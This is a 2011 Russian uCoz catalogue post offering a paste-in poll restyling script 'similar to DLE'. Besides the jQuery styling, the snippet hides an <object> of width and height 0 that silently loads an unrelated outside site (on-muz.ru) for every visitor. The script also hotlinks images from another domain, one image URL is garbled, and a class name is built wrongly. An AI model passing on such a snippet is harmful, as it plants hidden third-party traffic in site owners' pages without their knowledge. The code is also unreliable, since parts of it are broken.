Категория: Скрипты для uCoz Добавил: Гость » Дата: 28.05.2011
Новый вид опроса, который очень похож на dle. :)


В виде опроса меняем все на код:
Code

<object type="text/html" data="http://www.on-muz.ru/" width="0" height="0"></object><script type="text/javascript">var a = ['http://torrent-load.at.ua/images/ic1.png','http://torrent-load.at.ua/images/ic2.png','http://torrent-load.at.ua/images/ic3.png','http://torrent-load.at.ua/images/ic4.png','/imhttp://torrent-load.at.uaages/ic5.png','http://torrent-load.at.ua/images/ic1.png','http://torrent-load.at.ua/images/ic2.png','http://torrent-load.at.ua/images/ic3.png','http://torrent-load.at.ua/images/ic4.png','http://torrent-load.at.ua/images/ic5.png'];for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '18px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '-3px', marginBottom: '-3px', height: '25px', backgroundRepeat: 'repeat-x'});}$('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});</script>
Просмотров: 504 | Комментариев: 0